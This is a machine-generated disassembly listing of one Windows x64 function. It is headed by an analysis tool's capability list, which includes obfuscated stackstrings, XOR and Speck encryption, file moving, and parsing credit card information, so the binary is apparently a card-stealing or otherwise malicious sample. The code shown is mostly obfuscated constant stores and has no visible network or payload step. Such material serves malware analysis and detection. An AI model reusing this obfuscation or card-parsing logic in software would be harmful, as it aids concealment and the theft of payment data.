Function at 0x140001000
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Encrypt data using speck
Get common file path
Get disk information
Get disk size
Get file size
Manipulate console buffer
Move file
Parse credit card information
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x14928
call fcn.1400d9940
sub rsp, rax
movabs rax, 0x73bae9ca53b20df2
mov qword [rsp + 0x2ec0], rax
mov eax, 0x5640
mov word [rsp + 0x540], ax
mov dword [rsp + 0x1854], 0x297887c6
mov eax, 0x5d1
mov word [rsp + 0x544], ax
movabs rax, 0x31f7b54c27e6eee9
mov qword [rsp + 0x2ec8], rax
mov byte [rsp + 0x40], ILClone
movabs rax, 0x545ffb7aa8f17cae
mov qword [rsp + 0x2ed0], rax
mov byte [rsp + 0x41], 0x5b
mov eax, 0x3b9
mov word [rsp + 0x548], ax
mov byte [rsp + 0x42], 0x85
mov byte [rsp + 0x43], 0x48
mov dword [rsp + 0x1858], 0xc80f6c2d
movabs rax, 0x74f11950ef21b449
mov qword [rsp + 0x2ed8], rax
mov byte [rsp + 0x44], ILIsEqual
lea rax, [rsp + 0x14670]
lea rcx, str.magnetometers
mov rdi, rax
mov rsi, rcx
mov ecx, ILClone
rep movsb byte [rdi], byte [rsi]
mov eax, 0xb1
mov word [rsp + 0x54c], ax
mov dword [rsp + 0x185c], 0x28a0c43d
mov byte [rsp + 0x45], 0x49
movabs rax, 0x65ffd713139a8c94
mov qword [rsp + 0x2ee0], rax
mov eax, 0x47ff
mov word [rsp + 0x550], ax
mov eax, 0x60ab
mov word [rsp + 0x554], ax
mov dword [rsp + 0x1860], 0x46ec11ea
mov dword [rsp + 0x1864], 0x2974ef5a
mov eax, 0x23da
mov word [rsp + 0x558], ax
mov dword [rsp + 0x1868], 0x6c4e131f
mov dword [rsp + 0x186c], 0x384d9ce4
mov byte [rsp + 0x46], 0x5b
mov eax, 0x25e8
mov word [rsp + 0x55c], ax
mov eax, 0x1588
mov word [rsp + 0x560], ax
movabs rax, 0x1700afbf720ea78e
mov qword [rsp + 0x2ee8], rax
mov eax, 0x5dca
mov word [rsp + 0x564], ax
mov dword [rsp + 0x1870], 0x722a2e1
mov eax, 0x531
mov word [rsp + 0x568], ax
mov byte [rsp + 0x47], reloc.SHELL32.dll_ILRemoveLastID
mov byte [rsp + 0x48], 0x71
movabs rax, 0x2658905fae05a963
mov qword [rsp + 0x2ef0], rax
movabs rax, 0x2e4ae0661418b620
mov qword [rsp + 0x2ef8], rax
mov eax, 0x5da3
mov word [rsp + 0x56c], ax
movabs rax, 0x63404244bcc1acde
mov qword [rsp + 0x2f00], rax
mov byte [rsp + 0x49], 0x52
mov eax, 0xa42
mov word [rsp + 0x570], ax
movabs rax, 0x875381541e5c95e5
mov qword [rsp + 0x2f08], rax
mov eax, 0x30f
mov word [rsp + 0x574], ax
mov eax, 0xfb2
mov word [rsp + 0x578], ax
movabs rax, 0x7dee560108ecb159
mov qword [rsp + 0x2f10], rax
movabs rax, 0x22b7308587a3f7e8
mov qword [rsp + 0x2f18], rax
mov byte [rsp + 0x4a], 0x34
mov eax, 0xb8d
mov word [rsp + 0x57c], ax
mov byte [rsp + 0x4b], reloc.SHELL32.dll_PathMakeUniqueName
mov dword [rsp + 0x1874], 0x7851fdf7
mov eax, 0xb1e
mov word [rsp + 0x580], ax
mov dword [rsp + 0x1878], 0x7e10e590
mov eax, 0x15eb
mov word [rsp + 0x584], ax
mov byte [rsp + 0x4c], 0x60
mov dword [rsp + 0x187c], 0x66eee18c
mov eax, 0x1b1
mov word [rsp + 0x588], ax
mov byte [rsp + 0x4d], 0x28
movabs rax, 0x16dff77f9f525ac1
mov qword [rsp + 0x2f20], rax
movabs rax, 0x11b6819e704be810
mov qword [rsp + 0x2f28], rax
movabs rax, 0x63dd67db7a3cce0e
mov qword [rsp + 0x2f30], rax
movabs rax, 0x239629b2ee8d1f0f
mov qword [rsp + 0x2f38], rax
movabs rax, 0x5acea2848647e933
mov qword [rsp + 0x2f40], rax
mov byte [rsp + 0x4e], 0x5e
movabs rax, 0x2fc5d1ead612aa1b
mov qword [rsp + 0x2f48], rax
movabs rax, 0xf69a79fffaf0a4f6
mov qword [rsp + 0x2f50], rax
movabs rax, 0xd65e521edc10efae
mov qword [rsp + 0x2f58], rax
mov byte [rsp + 0x4f], 0x3d
mov eax, 0x52c
mov word [rsp + 0x58c], ax
mov byte [rsp + 0x50], 0x38
movabs rax, 0x4983a54557539a51
mov qword [rsp + 0x2f60], rax
movabs rax, 0x46092691ef79fdd4
mov qword [rsp + 0x2f68], rax
mov dword [rsp + 0x1880], 0xf408e7a
mov eax, 0xb6f
mov word [rsp + 0x590], ax
movabs rax, 0xeb753f927d8bb9ea
mov qword [rsp + 0x2f70], rax
mov eax, 0xe4a
mov word [rsp + 0x594], ax
mov byte [rsp + 0x51], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x1884], 0x7605eb9c
movabs rax, 0x2d24caf8bf0b290e
mov qword [rsp + 0x2f78], rax
mov dword [rsp + 0x1888], 0x63793657
mov eax, 0x704e
mov word [rsp + 0x598], ax
mov eax, 0x2abf
mov word [rsp + 0x59c], ax
movabs rax, 0xc928288a0f8f7e66
mov qword [rsp + 0x2f80], rax
mov dword [rsp + 0x188c], 0x3773bd9d
movabs rax, 0x32092c31b1a5bcaa
mov qword [rsp + 0x2f88], rax
movabs rax, 0xdba31421ad7ece8
mov qword [rsp + 0x2f90], rax
mov byte [rsp + 0x52], 0x36
mov byte [rsp + 0x53], 0x1d
movabs rax, 0x447ad6b35dd2a2ec
mov qword [rsp + 0x2f98], rax
mov eax, 0x9ad
mov word [rsp + 0x5a0], ax
movabs rax, 0x521de15638b98607
mov qword [rsp + 0x2fa0], rax
mov eax, 0xa90
mov word [rsp + 0x5a4], ax
movabs rax, 0x5130085949fdd318
mov qword [rsp + 0x2fa8], rax
mov dword [rsp + 0x1890], 0xe342cb0b
mov eax, 0x3ee
mov word [rsp + 0x5a8], ax
mov eax, 0x6e42
mov word [rsp + 0x5ac], ax
movabs rax, 0x832f4c8b7eb93125
mov qword [rsp + 0x2fb0], rax
mov eax, 0x235f
mov word [rsp + 0x5b0], ax
mov dword [rsp + 0x1894], 0x671fd38d
mov eax, 0x8b8
mov word [rsp + 0x5b4], ax
mov eax, 0xe5
mov word [rsp + 0x5b8], ax
mov dword [rsp + 0x1898], 0xf1bc7b0c
mov eax, 0x3f7
mov word [rsp + 0x5bc], ax
mov dword [rsp + 0x189c], 0x186d5172
movabs rax, 0x3c8ec127e6db6260
mov qword [rsp + 0x2fb8], rax
mov byte [rsp + 0x54], 0x6f
movabs rax, 0xb0714a239080dcc6
mov qword [rsp + 0x2fc0], rax
movabs rax, 0x240b9a3068bb85b3
mov qword [rsp + 0x2fc8], rax
movabs rax, 0x2e6dad52d8d38433
mov qword [rsp + 0x2fd0], rax
mov eax, 0x5f2
mov word [rsp + 0x5c0], ax
mov byte [rsp + 0x55], 0x6e
movabs rax, 0x3bac0c99b0ddd32e
mov qword [rsp + 0x2fd8], rax
mov dword [rsp + 0x18a0], 0x90d09075
mov dword [rsp + 0x18a4], 0x450a553d
mov byte [rsp + 0x56], 0x34
mov eax, 0x4024
mov word [rsp + 0x5c4], ax
mov eax, 0x2129
mov word [rsp + 0x5c8], ax
mov byte [rsp + 0x57], 0xfd
mov eax, 0x4612
mov word [rsp + 0x5cc], ax
mov dword [rsp + 0x18a8], 0x1662c017
mov byte [rsp + 0x58], 0x39
mov byte [rsp + 0x59], 0x1b
mov eax, 0xb1c
mov word [rsp + 0x5d0], ax
mov byte [rsp + 0x5a], 0x20
mov dword [rsp + 0x18ac], 0x6e77b0b1
mov eax, 0xa4
mov word [rsp + 0x5d4], ax
mov eax, 0x35a5
mov word [rsp + 0x5d8], ax
mov eax, 0x7da
mov word [rsp + 0x5dc], ax
mov eax, 0x156a
mov word [rsp + 0x5e0], ax
mov byte [rsp + 0x5b], 0x8d
mov byte [rsp + 0x5c], 0x78
mov eax, 0x746
mov word [rsp + 0x5e4], ax
mov dword [rsp + 0x18b0], 0x6e288569
mov dword [rsp + 0x18b4], 0x639d0cb6
mov byte [rsp + 0x5d], 0xc8
mov dword [rsp + 0x18b8], 0xe2fd4f85
mov dword [rsp + 0x18bc], 0x2c557ab6
mov eax, ILCreateFromPathA
mov word [rsp + 0x5e8], ax
mov dword [rsp + 0x18c0], 0x6249c782
movabs rax, 0xbaddfd4ad8fc834
mov qword [rsp + 0x2fe0], rax
mov byte [rsp + 0x5e], 0xcf
mov dword [rsp + 0x18c4], 0x1b5b0462
mov dword [rsp + 0x18c8], 0xd5a102b4
mov byte [rsp + 0x5f], 0x36
mov eax, 0x4665
mov word [rsp + 0x5ec], ax
lea rax, [rsp + 0x14680]
lea rcx, str.spacers_natal
mov rdi, rax
mov rsi, rcx
mov ecx, ILClone
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x60], SHDoDragDrop
mov eax, 0x2b0
mov word [rsp + 0x5f0], ax
mov eax, 0x5dc0
mov word [rsp + 0x5f4], ax
mov byte [rsp + 0x61], SHDoDragDrop
mov dword [rsp + 0x18cc], 0x30195c19
movabs rax, 0x5bbf6204088a88d4
mov qword [rsp + 0x2fe8], rax
mov byte [rsp + 0x62], 0x1a
mov dword [rsp + 0x18d0], 0xa88568bb
mov byte [rsp + 0x63], 0x20
mov dword [rsp + 0x18d4], 0x300179e1
mov eax, 0x48
mov word [rsp + 0x5f8], ax
mov byte [rsp + 0x64], 0x5d
mov eax, 0x5ba2
mov word [rsp + 0x5fc], ax
mov byte [rsp + 0x65], 0x66
mov eax, 0x5dbb
mov word [rsp + 0x600], ax
movabs rax, 0x6a4d8644caa4f362
mov qword [rsp + 0x2ff0], rax
mov eax, 0x8d5
mov word [rsp + 0x604], ax
mov dword [rsp + 0x18d8], 0x1533197a
mov dword [rsp + 0x18dc], 0x6b6db81
mov dword [rsp + 0x18e0], 0x6340a273
mov byte [rsp + 0x66], 0x90
mov byte [rsp + 0x67], 0xd0
mov eax, 0xa76
mov word [rsp + 0x608], ax
movabs rax, 0x6dcad795d080ad64
mov qword [rsp + 0x2ff8], rax
movabs rax, 0xd3b41fc7e846b6d0
mov qword [rsp + 0x3000], rax
mov eax, 0x484
mov word [rsp + 0x60c], ax
mov dword [rsp + 0x18e4], 0x6e1c923b
mov byte [rsp + 0x68], 0x45
mov eax, 0x72c
mov word [rsp + 0x610], ax
mov eax, 0xb7d
mov word [rsp + 0x614], ax
mov eax, 0x5de
mov word [rsp + 0x618], ax
mov byte [rsp + 0x69], 0xb3
mov eax, 0x504d
mov word [rsp + 0x61c], ax
mov byte [rsp + 0x6a], 0x5c
mov dword [rsp + 0x18e8], 0x15be904b
mov eax, 0xba0
mov word [rsp + 0x620], ax
movabs rax, 0x47a234612fdbd7aa
mov qword [rsp + 0x3008], rax
mov dword [rsp + 0x18ec], 0x10d69476
mov dword [rsp + 0x18f0], 0x5c64a958
movabs rax, 0xc3826e0679b6c274
mov qword [rsp + 0x3010], rax
mov dword [rsp + 0x18f4], 0x6a426d2e
mov eax, 0x455
mov word [rsp + 0x624], ax
movabs rax, 0x4228253eab4b8ce4
mov qword [rsp + 0x3018], rax
mov dword [rsp + 0x18f8], 0x98ed85cc
mov eax, 0xa49
mov word [rsp + 0x628], ax
movabs rax, 0x69dc43de515a704
mov qword [rsp + 0x3020], rax
mov eax, 0x5307
mov word [rsp + 0x62c], ax
mov eax, 0x8f9
mov word [rsp + 0x630], ax
mov byte [rsp + 0x6b], 0xd7
mov byte [rsp + 0x6c], 0x27
movabs rax, 0xc85448381431711b
mov qword [rsp + 0x3028], rax
mov byte [rsp + 0x6d], 8
mov byte [rsp + 0x6e], 0xa8
movabs rax, 0x7a128c08ceee8ef6
mov qword [rsp + 0x3030], rax
movabs rax, 0x3d0533e8e643b86e
mov qword [rsp + 0x3038], rax
mov eax, 0x179e
mov word [rsp + 0x634], ax
mov dword [rsp + 0x18fc], 0x5fa10951
mov dword [rsp + 0x1900], 0x5094fa69
mov dword [rsp + 0x1904], 0x3de49
mov byte [rsp + 0x6f], 0x3a
mov byte [rsp + 0x70], PathMakeUniqueName
mov eax, 0xb50
mov word [rsp + 0x638], ax
mov byte [rsp + 0x71], 0x67
mov dword [rsp + 0x1908], 0x35e2967c
movabs rax, 0x371b806eea07e8fa
mov qword [rsp + 0x3040], rax
mov eax, 0xe74
mov word [rsp + 0x63c], ax
mov dword [rsp + 0x190c], 0x76035908
movabs rax, 0x7d782cccb7a17305
mov qword [rsp + 0x3048], rax
mov byte [rsp + 0x72], 0x5b
mov dword [rsp + 0x1910], 0xc969285e
mov dword [rsp + 0x1914], 0x2daad586
mov dword [rsp + 0x1918], 0x27fd51ff
movabs rax, 0x34a42a6efed2a895
mov qword [rsp + 0x3050], rax
movabs rax, 0x10046ee6c026b3e7
mov qword [rsp + 0x3058], rax
movabs rax, 0x836b9cbfb82a6295
mov qword [rsp + 0x3060], rax
mov byte [rsp + 0x73], 0x4f
mov byte [rsp + 0x74], SHSetInstanceExplorer
mov byte [rsp + 0x75], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x191c], 0x2b20e794
mov eax, 0x7f66
mov word [rsp + 0x640], ax
mov dword [rsp + 0x1920], 0x681712f
movabs rax, 0x34154b6845258b93
mov qword [rsp + 0x3068], rax
movabs rax, 0x67c4e93ba4d51700
mov qword [rsp + 0x3070], rax
mov dword [rsp + 0x1924], 0xb0503c5b
mov dword [rsp + 0x1928], 0x1a4041c2
mov eax, 0x43f
mov word [rsp + 0x644], ax
movabs rax, 0x306fcb6b9a0b09d9
mov qword [rsp + 0x3078], rax
mov eax, 0x2526
mov word [rsp + 0x648], ax
movabs rax, 0x3309fd5e27e5799c
mov qword [rsp + 0x3080], rax
mov dword [rsp + 0x192c], 0x5a97f7ef
mov eax, 0x18
mov word [rsp + 0x64c], ax
movabs rax, 0x538eaf2cac84810
mov qword [rsp + 0x3088], rax
mov eax, 0x69ae
mov word [rsp + 0x650], ax
movabs rax, 0x4989cf18099401fa
mov qword [rsp + 0x3090], rax
mov eax, 0x6a2
mov word [rsp + 0x654], ax
movabs rax, 0x8e8feb97337b6515
mov qword [rsp + 0x3098], rax
mov eax, 0x38
mov word [rsp + 0x658], ax
mov dword [rsp + 0x1930], 0x9cd3357
mov dword [rsp + 0x1934], 0x1d97f1e5
mov eax, 0x1f29
mov word [rsp + 0x65c], ax
movabs rax, 0xf58180260ea8248f
mov qword [rsp + 0x30a0], rax
mov eax, 0x316b
mov word [rsp + 0x660], ax
mov dword [rsp + 0x1938], 0x6ca7464b
movabs rax, 0x20602ef1a3ca0b9d
mov qword [rsp + 0x30a8], rax
movabs rax, 0xa179b4f264f567de
mov qword [rsp + 0x30b0], rax
movabs rax, 0x5330073d8af06f56
mov qword [rsp + 0x30b8], rax
movabs rax, 0x635cfff74569c8fd
mov qword [rsp + 0x30c0], rax
movabs rax, 0x5d93a3cbfa39f235
mov qword [rsp + 0x30c8], rax
mov byte [rsp + 0x76], 0x5c
mov eax, 0x54c3
mov word [rsp + 0x664], ax
mov eax, 0x3785
mov word [rsp + 0x668], ax
mov dword [rsp + 0x193c], 0x6465059c
movabs rax, 0x226031d0099b4921
mov qword [rsp + 0x30d0], rax
movabs rax, 0x1a8f4bd9c9e519a9
mov qword [rsp + 0x30d8], rax
mov eax, 0x70d1
mov word [rsp + 0x66c], ax
mov eax, 0x66cc
mov word [rsp + 0x670], ax
mov byte [rsp + 0x77], 0x61
movabs rax, 0xb8e2d71e5749bc7
mov qword [rsp + 0x30e0], rax
mov eax, 0x49f1
mov word [rsp + 0x674], ax
mov byte [rsp + 0x78], 0x39
mov dword [rsp + 0x1940], 0x85acd2b5
mov byte [rsp + 0x79], 0x93
movabs rax, 0x207f3edb70beb971
mov qword [rsp + 0x30e8], rax
mov eax, 0xdab
mov word [rsp + 0x678], ax
mov eax, 0x1bc
mov word [rsp + 0x67c], ax
mov eax, 0x5e95
mov word [rsp + 0x680], ax
mov dword [rsp + 0x1944], 0x170077cf
mov eax, 0x942
mov word [rsp + 0x684], ax
mov byte [rsp + 0x7a], ILClone
mov eax, 0x31b
mov word [rsp + 0x688], ax
mov dword [rsp + 0x1948], 0x3a2cb2b6
mov byte [rsp + 0x7b], pe_nt_image_headers64
movabs rax, 0xa84d6543cdecfcd9
mov qword [rsp + 0x30f0], rax
movabs rax, 0x4956853982e6b713
mov qword [rsp + 0x30f8], rax
mov eax, 0x74f9
mov word [rsp + 0x68c], ax
mov eax, 0x139
mov word [rsp + 0x690], ax
movabs rax, 0x56b8f44f9b020f0b
mov qword [rsp + 0x3100], rax
mov eax, 0x1674
mov word [rsp + 0x694], ax
mov byte [rsp + 0x7c], 0xf9
movabs rax, 0x1d817aff3a1527f2
mov qword [rsp + 0x3108], rax
mov byte [rsp + 0x7d], 0x50
mov eax, 0xb55
mov word [rsp + 0x698], ax
movabs rax, 0x4b0a89590369a9ae
mov qword [rsp + 0x3110], rax
mov eax, 0x62f1
mov word [rsp + 0x69c], ax
movabs rax, 0x308829a72f2ca37
mov qword [rsp + 0x3118], rax
mov dword [rsp + 0x194c], 0x962ff402
mov dword [rsp + 0x1950], 0x8799a60b
mov eax, 0x453
mov word [rsp + 0x6a0], ax
mov eax, 0x650
mov word [rsp + 0x6a4], ax
movabs rax, 0x705ebfd07de50afd
mov qword [rsp + 0x3120], rax
movabs rax, 0x564d45cbbd9134c3
mov qword [rsp + 0x3128], rax
mov byte [rsp + 0x7e], 0xd7
mov dword [rsp + 0x1954], 0x5c623b01
mov eax, ILIsEqual
mov word [rsp + 0x6a8], ax
mov dword [rsp + 0x1958], 0xa6f26200
movabs rax, 0xce72114c1e3dc890
mov qword [rsp + 0x3130], rax
mov eax, 0xc9c
mov word [rsp + 0x6ac], ax
mov dword [rsp + 0x195c], 0x1a06d0bf
mov dword [rsp + 0x1960], 0xf7345593
mov byte [rsp + 0x7f], 7
mov byte [rsp + 0x80], 0x68
mov dword [rsp + 0x1964], 0x6e768556
mov byte [rsp + 0x81], 0x44
mov eax, 0x286e
mov word [rsp + 0x6b0], ax
movabs rax, 0x2dcc472bffb6b546
mov qword [rsp + 0x3138], rax
mov eax, 0x8b0
mov word [rsp + 0x6b4], ax
mov eax, 0x56d7
mov word [rsp + 0x6b8], ax
movabs rax, 0x4c8dfd0dab469b2c
mov qword [rsp + 0x3140], rax
mov eax, 0xb71
mov word [rsp + 0x6bc], ax
mov dword [rsp + 0x1968], 0x45770589
mov dword [rsp + 0x196c], 0x7dedbc11
mov eax, 0x4bf2
mov word [rsp + 0x6c0], ax
mov dword [rsp + 0x1970], 0x25054d2d
mov dword [rsp + 0x1974], 0x713e26b3
mov dword [rsp + 0x1978], 0x41562ec0
movabs rax, 0x8bb1d693ab4e08f6
mov qword [rsp + 0x3148], rax
mov byte [rsp + 0x82], 0x36
mov byte [rsp + 0x83], 0xa
movabs rax, 0xc958c6e6f08e93e
mov qword [rsp + 0x3150], rax
mov byte [rsp + 0x84], 0x43
mov dword [rsp + 0x197c], 0x24118b41
mov dword [rsp + 0x1980], 0x487e450a
mov eax, 0xaca
mov word [rsp + 0x6c4], ax
mov byte [rsp + 0x85], SHUpdateImageA
mov dword [rsp + 0x1984], 0x79dc7c16
movabs rax, 0x8bcf4ccc173e17d5
mov qword [rsp + 0x3158], rax
mov eax, 0x1c
mov word [rsp + 0x6c8], ax
movabs rax, 0x88136714d668afb5
mov qword [rsp + 0x3160], rax
mov dword [rsp + 0x1988], 0x651a769
mov dword [rsp + 0x198c], 0x3e94e450
mov dword [rsp + 0x1990], 0x1e96ba37
movabs rax, 0x4090c32b6389dec3
mov qword [rsp + 0x3168], rax
mov eax, 0x7c7d
mov word [rsp + 0x6cc], ax
mov byte [rsp + 0x86], 0xc9
mov byte [rsp + 0x87], 0x73
mov byte [rsp + 0x88], 0x4c
mov dword [rsp + 0x1994], 0x7a43eda3
mov byte [rsp + 0x89], 0x72
mov dword [rsp + 0x1998], 0x38f1bb97
mov dword [rsp + 0x199c], 0x756b888d
mov dword [rsp + 0x19a0], 0x1cb9b39c
movabs rax, 0x8304470cfadeff2
mov qword [rsp + 0x3170], rax
mov eax, 0x7075
mov word [rsp + 0x6d0], ax
mov byte [rsp + 0x8a], 0x40
movabs rax, 0x70ca7c0b0d0acb5
mov qword [rsp + 0x3178], rax
mov eax, 0x75c0
mov word [rsp + 0x6d4], ax
movabs rax, 0x7c854f4cd74f8a39
mov qword [rsp + 0x3180], rax
movabs rax, 0x2ed99b757e68fb45
mov qword [rsp + 0x3188], rax
mov eax, 0x700
mov word [rsp + 0x6d8], ax
mov byte [rsp + 0x8b], 0x86
mov byte [rsp + 0x8c], 0x7b
mov byte [rsp + 0x8d], 0x65
mov eax, 0xf54
mov word [rsp + 0x6dc], ax
mov eax, 0x30cc
mov word [rsp + 0x6e0], ax
movabs rax, 0x76143185f6c69436
mov qword [rsp + 0x3190], rax
movabs rax, 0x21ff1320048344e1
mov qword [rsp + 0x3198], rax
mov eax, 0xf99
mov word [rsp + 0x6e4], ax
mov eax, 0x2c73
mov word [rsp + 0x6e8], ax
mov byte [rsp + 0x8e], 0x77
movabs rax, 0x590663d56cd17016
mov qword [rsp + 0x31a0], rax
mov dword [rsp + 0x19a4], 0xe155390f
mov byte [rsp + 0x8f], 0x6d
mov dword [rsp + 0x19a8], 0x56edfafe
mov dword [rsp + 0x19ac], 0x2fddd74d
mov eax, 0x37e
mov word [rsp + 0x6ec], ax
mov byte [rsp + 0x90], 0x60
mov eax, 0x76d
mov word [rsp + 0x6f0], ax
mov dword [rsp + 0x19b0], 0x7c4fa614
mov byte [rsp + 0x91], 0x37
mov eax, 0x5fac
mov word [rsp + 0x6f4], ax
mov dword [rsp + 0x19b4], 0x6f253683
mov eax, 0x3c0
mov word [rsp + 0x6f8], ax
mov eax, 0x512
mov word [rsp + 0x6fc], ax
mov eax, 0x38c
mov word [rsp + 0x700], ax
movabs rax, 0x2a09bd198e11d7a4
mov qword [rsp + 0x31a8], rax
mov dword [rsp + 0x19b8], 0x9cf43208
mov eax, 0x1d1
mov word [rsp + 0x704], ax
mov byte [rsp + 0x92], ILIsEqual
movabs rax, 0x6fde170eca222db0
mov qword [rsp + 0x31b0], rax
movabs rax, 0x61615487375cc15
mov qword [rsp + 0x31b8], rax
mov dword [rsp + 0x19bc], 0x1151ad8a
mov byte [rsp + 0x93], 0x22
mov byte [rsp + 0x94], SHDoDragDrop
mov dword [rsp + 0x19c0], 0xe6251237
mov eax, 0xe7
mov word [rsp + 0x708], ax
movabs rax, 0x5997e49678137f54
mov qword [rsp + 0x31c0], rax
mov byte [rsp + 0x95], 0x33
mov byte [rsp + 0x96], ILClone
mov dword [rsp + 0x19c4], 0x262cf57d
mov byte [rsp + 0x97], ILIsEqual
movabs rax, 0x4ed405a4109aa4cf
mov qword [rsp + 0x31c8], rax
mov byte [rsp + 0x98], ILClone
mov byte [rsp + 0x99], 0x4b
movabs rax, 0x3a5de07d3d1e866b
mov qword [rsp + 0x31d0], rax
movabs rax, 0x54db323f5202406f
mov qword [rsp + 0x31d8], rax
mov dword [rsp + 0x19c8], 0x4e1996c1
mov dword [rsp + 0x19cc], 0xa3cc91c5
mov byte [rsp + 0x9a], 0xeb
mov eax, 0x83
mov word [rsp + 0x70c], ax
mov byte [rsp + 0x9b], 0x61
mov byte [rsp + 0x9c], ILCreateFromPathA
mov byte [rsp + 0x9d], 0x44
mov byte [rsp + 0x9e], SHDoDragDrop
mov dword [rsp + 0x19d0], 0x47451ac1
mov dword [rsp + 0x19d4], 0x6b333352
mov eax, 0x4c3a
mov word [rsp + 0x710], ax
mov dword [rsp + 0x19d8], 0xae1a03
movabs rax, 0x7f9298c05e197714
mov qword [rsp + 0x31e0], rax
mov dword [rsp + 0x19dc], 0x88c04745
movabs rax, 0xadfc4c79e5499e86
mov qword [rsp + 0x31e8], rax
mov byte [rsp + 0x9f], 0x4b
mov dword [rsp + 0x19e0], 0x69a3866
mov byte [rsp + 0xa0], SHSetInstanceExplorer
mov eax, 0x2667
mov word [rsp + 0x714], ax
movabs rax, 0x307f127a058f38d7
mov qword [rsp + 0x31f0], rax
mov dword [rsp + 0x19e4], 0x786129a2
movabs rax, 0x78c3750edfad5319
mov qword [rsp + 0x31f8], rax
mov byte [rsp + 0xa1], SHDoDragDrop
mov dword [rsp + 0x19e8], 0x6822a3a0
mov byte [rsp + 0xa2], ILIsEqual
mov byte [rsp + 0xa3], 0x42
mov dword [rsp + 0x19ec], 0x994057b0
mov byte [rsp + 0xa4], 0xfd
mov eax, 0x62e2
mov word [rsp + 0x718], ax
mov eax, 0x7cf
mov word [rsp + 0x71c], ax
mov byte [rsp + 0xa5], 0x70
mov byte [rsp + 0xa6], 0xd5
movabs rax, 0xeb3b945c19bde74f
mov qword [rsp + 0x3200], rax
mov eax, 0x863
mov word [rsp + 0x720], ax
mov dword [rsp + 0x19f0], 0xb0fd28a2
mov byte [rsp + 0xa7], SHDoDragDrop
mov dword [rsp + 0x19f4], 0x3163f707
mov eax, 0x5798
mov word [rsp + 0x724], ax
mov dword [rsp + 0x19f8], 0x31c83741
mov byte [rsp + 0xa8], 0x65
mov byte [rsp + 0xa9], 0x48
mov byte [rsp + 0xaa], ILGetSize
mov byte [rsp + 0xab], 0x45
mov dword [rsp + 0x19fc], 0x1a3195f9
mov eax, 0x651
mov word [rsp + 0x728], ax
mov eax, 0xea7
mov word [rsp + 0x72c], ax
mov eax, 0x68e8
mov word [rsp + 0x730], ax
mov eax, 0x3885
mov word [rsp + 0x734], ax
mov eax, SHDoDragDrop
mov word [rsp + 0x738], ax
mov eax, 0x555a
mov word [rsp + 0x73c], ax
movabs rax, 0x5f5b7a0a37b09779
mov qword [rsp + 0x3208], rax
mov byte [rsp + 0xac], 0x5c
mov eax, 0x45c
mov word [rsp + 0x740], ax
mov eax, 0x494
mov word [rsp + 0x744], ax
mov eax, 0x59b
mov word [rsp + 0x748], ax
movabs rax, 0x33bcfd860580376a
mov qword [rsp + 0x3210], rax
mov byte [rsp + 0xad], 0xa1
mov dword [rsp + 0x1a00], 0xd08e0a8c
mov eax, 0x3da2
mov word [rsp + 0x74c], ax
mov eax, 0x471d
mov word [rsp + 0x750], ax
movabs rax, 0x382c7719ccc1e4a4
mov qword [rsp + 0x3218], rax
mov byte [rsp + 0xae], 0x7f
mov eax, 0xaa6
mov word [rsp + 0x754], ax
mov dword [rsp + 0x1a04], 0x16543733
mov eax, 0x60a6
mov word [rsp + 0x758], ax
mov byte [rsp + 0xaf], 0xb5
mov byte [rsp + 0xb0], 0x9e
mov byte [rsp + 0xb1], 0x27
mov eax, 0xe5
mov word [rsp + 0x75c], ax
movabs rax, 0xfac54e0ebf410186
mov qword [rsp + 0x3220], rax
mov eax, 0x561b
mov word [rsp + 0x760], ax
mov byte [rsp + 0xb2], 4
mov byte [rsp + 0xb3], 0x78
mov eax, 0x6b59
mov word [rsp + 0x764], ax
movabs rax, 0x7d8e67049a89b8c1
mov qword [rsp + 0x3228], rax
mov eax, 0x153a
mov word [rsp + 0x768], ax
mov dword [rsp + 0x1a08], 0x22975267
mov dword [rsp + 0x1a0c], 0x75323c5a
movabs rax, 0xcc7c2295c18947c8
mov qword [rsp + 0x3230], rax
mov dword [rsp + 0x1a10], 0x79f7d212
mov dword [rsp + 0x1a14], 0xb1d9140b
mov dword [rsp + 0x1a18], 0x59b77ea2
mov eax, 0x342
mov word [rsp + 0x76c], ax
movabs rax, 0x41d69a53a43d0b08
mov qword [rsp + 0x3238], rax
mov dword [rsp + 0x1a1c], 0xa5453239
mov dword [rsp + 0x1a20], 0xe6bf1c66
mov dword [rsp + 0x1a24], 0x67f8f282
mov byte [rsp + 0xb4], 0x23
mov eax, 0xada
mov word [rsp + 0x770], ax
mov eax, 0x67c0
mov word [rsp + 0x774], ax
mov eax, 0xd81
mov word [rsp + 0x778], ax
mov eax, 0xee7
mov word [rsp + 0x77c], ax
mov eax, 0x30bb
mov word [rsp + 0x780], ax
movabs rax, 0xd19b58633c7a6116
mov qword [rsp + 0x3240], rax
mov eax, 0x73e1
mov word [rsp + 0x784], ax
mov byte [rsp + 0xb5], SHDoDragDrop
mov byte [rsp + 0xb6], 0x6d
mov byte [rsp + 0xb7], PathMakeUniqueName
mov eax, 0x79a
mov word [rsp + 0x788], ax
mov byte [rsp + 0xb8], 0xa2
mov byte [rsp + 0xb9], ILIsEqual
mov byte [rsp + 0xba], 0xf8
movabs rax, 0xaeb0f51b4f7ae822
mov qword [rsp + 0x3248], rax
mov dword [rsp + 0x1a28], 0x3a17bda6
movabs rax, 0x23f937ea88c3a41c
mov qword [rsp + 0x3250], rax
mov dword [rsp + 0x1a2c], 0x4d39ab6c
mov byte [rsp + 0xbb], 0x19
mov dword [rsp + 0x1a30], 0xda3b98dc
mov eax, 0xa7e
mov word [rsp + 0x78c], ax
mov byte [rsp + 0xbc], 0x5c
mov byte [rsp + 0xbd], 0x23
mov dword [rsp + 0x1a34], 0x55d29ac6
mov dword [rsp + 0x1a38], 0x49f19943
mov dword [rsp + 0x1a3c], 0x36163299
mov dword [rsp + 0x1a40], 0x3417158e
mov eax, 0x3ef
mov word [rsp + 0x790], ax
movabs rax, 0x156ea4f87d2dd1a2
mov qword [rsp + 0x3258], rax
movabs rax, 0x8bfbe6e0843981b
mov qword [rsp + 0x3260], rax
mov dword [rsp + 0x1a44], 0x4da27ae6
mov dword [rsp + 0x1a48], 0x4d3a6b3b
mov byte [rsp + 0xbe], 5
